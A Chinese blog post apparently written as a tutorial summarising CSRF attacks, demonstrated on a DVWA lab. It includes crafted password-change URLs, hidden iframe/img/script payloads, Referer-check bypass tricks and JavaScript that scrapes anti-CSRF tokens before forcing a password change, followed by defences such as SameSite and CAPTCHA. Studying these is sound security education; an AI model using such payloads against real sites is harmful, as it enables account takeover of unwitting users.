CSRF总结

发布于 2022-04-15  486 次阅读


简介

跨站请求伪造(Cross-Site Request Forgery, CSRF)是一种挟持用户在已经认证过的Web应用程序上执行非本意的操作的一种攻击方式。听起来和XSS(跨站脚本攻击)相似,但是两者实际上原理是不同的,XSS是利用站点内的信任用户,而CSRF是通过伪装来自受信用户的请求来利用受信任的网站;两者一个显著的区别在于XSS是能够获取用户cookie等身份信息来冒充用户,而CSRF并没有获取到用户的身份信息。

原理

由于用户在目标网站经过登陆认证并拿到确认后的凭证(如cookie),如果服务器只是简单根据凭证就通过了用户认证,那么攻击者通过各种手段诱骗已经认证登陆过网站的用户去请求发起一些操作(如发邮件,发消息,甚至修改密码和转移财产等),由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。

image-20210315111356224

攻击场景

GET

这里以DVWA中的low级别的CSRF漏洞举例,这里是一个修改用户密码的界面,当用户提交修改密码请求的时候,页面通过GET方法把值传输到服务器进行操作。

image-20210315103612954

http://192.168.91.134/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

利用方法

  • 直接构造URL

攻击者通过构造如下的URL,诱骗用户访问,那么用户的密码就会被修改为hacked

http://192.168.91.134/DVWA/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#
  • 使用短链接

由于直接构造URL把攻击的意图暴露给用户,很大可能会被察觉,因此可以使用短网址来欺骗用户。用户通过点击短网址,短网址会重定向到我们攻击的URL中,从而实现攻击

image-20210223212435977

  • 配合特殊标签

上述两种方法都会在成功之后显示密码成功修改的页面,用户一下就能发现自己受到了攻击,我们可以通过标签来使用户难以察觉。

#配合XSS攻击
<script src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"></script>
#iframe标签,添加样式 style="display:none;"
<iframe src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#" style="display:none;"></iframe>
#img标签同理,添加样式 border="0" style="display:none;"
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"
border="0" style="display:none;">

通过在攻击者的服务器中构造以上的页面,诱骗用户访问页面,从而实现用户在无法察觉的情况下进行了CSRF攻击,但是这个方法在EDGE浏览器无法成功,因为浏览器限制了不同源网站cookie的传递,而IE则没有这个问题。

POST

由于POST方法所提交的数据不是包含在URL中的,所以无法直接构造URL让用户访问来进行攻击,只能在攻击者的服务器上构造表单使用POST方法提交攻击者想要的数据的页面,再让用户访问该页面。

example:

<form action="http://127.0.0.1/vulenrabilities/csrf/" id="csrf" method="get">
        <input type="hidden" name="password_new" value="111">
        <input type="hidden" name="password_conf" value="111">
        <input type="hidden" name="Change" value="Change">
</form>

常见的防御和绕过方式

Referer

referer是引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。

绕过方法

example:服务器要求referer参数包含有主机名才能够修改密码,也就是说之前所使用的跨站请求的方法由于他是由其他地址跳转到修改密码的地址,因此无法修改密码。(假设被攻击的主机的IP为127.0.0.1)

  • 目录混淆 referer

创建一个名字为127.0.0.1的文件夹,将html页面放到该文件夹下,此时构造好的URL为

http://xxxx/127.0.0.1/CSRF.html
  • 文件名混淆 referer

将文件名字改为127.0.0.1.html,此时构造好的URL为

http://xxxx/127.0.0.1.html
  • ?拼接混淆 referer

因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测,此时构造好的URL为

http://xxxx/CSRF.html?127.0.0.1

以上的3种方法目的都是让我们构造的URL地址含有被攻击主机的IP(名字),使得referer含有被攻击主机的名字(IP)。

Token

服务器加入Anti-CSRF token机制,用户每次访问页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

绕过方法

  • JS 发起 HTTP CSRF 请求

因为 HTML 无法跨域,攻击者在服务器中构建JS脚本,诱骗用户访问该脚本,该脚本会先正常访问要攻击的页面,通过正则匹配获取服务器发过来的 token 值,然后再利用获取到的 token 构建 HTTP 头部 或者 form 表单(取决于服务器接收 token 的方法)来进行攻击。

exapmle:

//首先访问csrf页面获取token
var tokenUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
if (window.XMLHttpRequest){
    xmlhttp = new XMLHttpRequest();
}else {
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
}
var count = 0;
xmlhttp.onreadystatechange = function (){
    if(xmlhttp.readyState === 4 && xmlhttp.status === 200){
        //使用正则提取 token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
        //发起 CSRF 请求将 token 带入
        var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change#';
        if (count === 0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
  • HTML 发起 CSRF 请求

假设攻击者这里可以将 HTML 保存上传到 CORS 的跨域白名单下的话,那么攻击者也可以通过在HTML页面中使用<iframe>嵌套网页的方法访问要攻击的页面,然后再使用JS脚本的方法获取嵌套页面中的 token 再进行攻击。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    function attack(){
        var token = document.getElementById("get_token").contentWindow.document.getElementsByName('user_token')[0].value
        document.getElementsByClassName('user_token')[0].value = token;
        alert(token);
        document.getElementById("csrf").submit();
    }
</script>
<iframe src="http://127.0.0.1/vulenrabilities/csrf/" id="get_token" style="display: none"></iframe>
<div onload="attack()">
    <form action="http://127.0.0.1/vulenrabilities/csrf/" id="csrf" method="get">
        <input type="hidden" name="password_new" value="111">
        <input type="hidden" name="password_conf" value="111">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</div>
</body>
</html>

设置SameSite

通过设置cookie的 SameSite 属性来限制网站cookie的传递。当设置为 strict 模式时,cookie只能在第一方网页中发送使用,而不会发送给第三方网站。也就是说在第三方网站访问该网页时会显示未登陆状态。

验证码、二次验证等

在发送请求前要输入服务端判断的验证码,或者需要用户输入攻击者难以知道的信息(如果需要当前的密码),这样能够很大程度上防止了CSRF攻击,但是也会降低用户体验。

参考文章:https://johnfrod.top/%E5%AE%89%E5%85%A8/csrf%E6%80%BB%E7%BB%93/

Daniel_WRF
最后更新于 2023-09-22